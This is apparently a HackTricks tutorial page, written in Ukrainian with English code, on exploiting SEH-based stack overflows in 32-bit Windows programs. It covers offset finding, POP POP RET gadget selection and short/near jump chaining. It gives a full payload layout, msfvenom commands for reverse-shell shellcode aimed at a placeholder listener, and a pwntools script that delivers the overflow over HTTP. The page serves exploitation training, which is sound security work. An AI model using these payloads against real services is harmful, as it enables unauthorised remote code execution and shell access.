Windows SEH-based Stack Overflow Exploitation (nSEH/SEH)

Reading time: 6 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

SEH-based exploitation — це класична техніка для x86 Windows, яка зловживає ланцюжком Structured Exception Handler, що зберігається в стеку. Коли переповнення буфера на стеку перезаписує два 4-байтові поля

  • nSEH: вказівник на наступний запис SEH, та
  • SEH: вказівник на функцію обробника винятків

нападник може отримати контроль над виконанням шляхом:

  1. Встановлення SEH на адресу POP POP RET гаджета в непідзахищеному модулі, так що коли виняток буде оброблено, гаджет поверне виконання до байтів, контрольованих нападником, та
  2. Використання nSEH для перенаправлення виконання (зазвичай короткий стрибок) назад у великий переповнений буфер, де знаходиться shellcode.

Ця техніка специфічна для 32-бітних процесів (x86). На сучасних системах віддавайте перевагу модулю без SafeSEH та ASLR для пошуку гаджета. Небажаними часто бувають символи 0x00, 0x0a, 0x0d (NUL/CR/LF) через C-strings та парсинг HTTP.


Знаходження точних зсувів (nSEH / SEH)

  • Викличте падіння процесу і підтвердіть, що ланцюжок SEH перезаписано (наприклад, у x32dbg/x64dbg перевірте SEH view).
  • Надішліть циклічний патерн як дані для переповнення і порахуйте зсуви двох dword'ів, які потрапляють у nSEH та SEH.

Приклад з peda/GEF/pwntools для 1000-байтового POST body:

bash
# generate pattern (any tool is fine)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
# or
python3 -c "from pwn import *; print(cyclic(1000).decode())"

# after crash, note the two 32-bit values from SEH view and compute offsets
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x32424163   # nSEH
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241   # SEH
# ➜ offsets example: nSEH=660, SEH=664

Валідуйте, розміщуючи маркери в тих позиціях (наприклад, nSEH=b"BB", SEH=b"CC"). Тримайте загальну довжину сталою, щоб зробити краш відтворюваним.


Вибір POP POP RET (SEH gadget)

Вам потрібна послідовність POP POP RET, щоб розгорнути SEH рамку і повернутися до ваших nSEH байтів. Знайдіть її в модулі без SafeSEH і, бажано, без ASLR:

  • Mona (Immunity/WinDbg): !mona modules потім !mona seh -m modulename.
  • x64dbg plugin ERC.Xdbg: ERC --SEH щоб показати список POP POP RET gadgets і статус SafeSEH.

Виберіть адресу, яка не містить badchars при записі у little-endian (наприклад, p32(0x004094D8)). Віддавайте перевагу гаджетам всередині vulnerable binary, якщо protections дозволяють.


Jump-back technique (short + near jmp)

nSEH має лише 4 байти, що вміщує щонайбільше 2-байтовий short jump (EB xx) плюс padding. Якщо потрібно відскочити назад на сотні байтів, щоб дістатися початку буфера, використайте 5-байтовий near jump, розташований безпосередньо перед nSEH, і зв'яжіть його коротким стрибком з nSEH.

With nasmshell:

text
nasm> jmp -660           ; too far for short; near jmp is 5 bytes
E967FDFFFF
nasm> jmp short -8       ; 2-byte short jmp fits in nSEH (with 2 bytes padding)
EBF6
nasm> jmp -652           ; 8 bytes closer (to account for short-jmp hop)
E96FFDFFFF

Ідея макета для 1000-byte payload з nSEH на offset 660:

python
buffer_length = 1000
payload  = b"\x90"*50 + shellcode                    # NOP sled + shellcode at buffer start
payload += b"A" * (660 - 8 - len(payload))           # pad so we are 8 bytes before nSEH
payload += b"\xE9\x6F\xFD\xFF\xFF" + b"EEE"     # near jmp -652 (5B) + 3B padding
payload += b"\xEB\xF6" + b"BB"                      # nSEH: short jmp -8 + 2B pad
payload += p32(0x004094D8)                           # SEH: POP POP RET (no badchars)
payload += b"D" * (buffer_length - len(payload))

Execution flow:

  • Виникає виняток, диспетчер використовує перезаписаний SEH.
  • POP POP RET призводить до переходу в наш nSEH.
  • nSEH виконує jmp short -8, переходячи в 5-байтовий near jump.
  • Near jump потрапляє на початок нашого буфера, де знаходиться NOP sled + shellcode.

Погані символи

Зберіть повний рядок badchar і порівняйте пам'ять стеку після краху, вилучаючи байти, які спотворюються парсером цілі. Для переповнень, що базуються на HTTP, \x00\x0a\x0d майже завжди виключені.

python
badchars = bytes([x for x in range(1,256)])
payload  = b"A"*660 + b"BBBB" + b"CCCC" + badchars  # position appropriately for your case

Shellcode generation (x86)

Використовуйте msfvenom із вашими badchars. Невеликий NOP sled допомагає витримати невеликі відхилення при попаданні.

bash
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f python -v sc

Якщо генерувати на льоту, hex-формат зручний для вбудовування й розкодування в Python:

bash
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f hex

Передача через HTTP (precise CRLF + Content-Length)

Коли вразливий вектор — тіло HTTP-запиту, сформуйте сирий запит з точними CRLFs і Content-Length, щоб сервер прочитав весь вміст тіла запиту, який переповнюється.

python
# pip install pwntools
from pwn import remote
host, port = "<TARGET_IP>", 8080
body = b"A" * 1000  # replace with the SEH-aware buffer above
req = f"""POST / HTTP/1.1
Host: {host}:{port}
User-Agent: curl/8.5.0
Accept: */*
Content-Length: {len(body)}
Connection: close

""".replace('\n','\r\n').encode() + body
p = remote(host, port)
p.send(req)
print(p.recvall(timeout=0.5))
p.close()

Інструменти

  • x32dbg/x64dbg — для перегляду ланцюга SEH і тріажу crash'у.
  • ERC.Xdbg (x64dbg plugin) — щоб перерахувати SEH gadgets: ERC --SEH.
  • Mona як альтернатива: !mona modules, !mona seh.
  • nasmshell — для складання short/near jumps та копіювання raw opcodes.
  • pwntools — для створення точних network payloads.

Примітки та застереження

  • Застосовується лише до процесів x86. x64 використовує іншу схему SEH, і експлуатація на основі SEH зазвичай не є життєздатною.
  • Надавайте перевагу гаджетам у модулях без SafeSEH і ASLR; інакше знайдіть незахищений модуль, завантажений у процес.
  • Watchdog-и сервісів, які автоматично перезапускаються після crash, можуть спростити ітеративну розробку експлойтів.

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks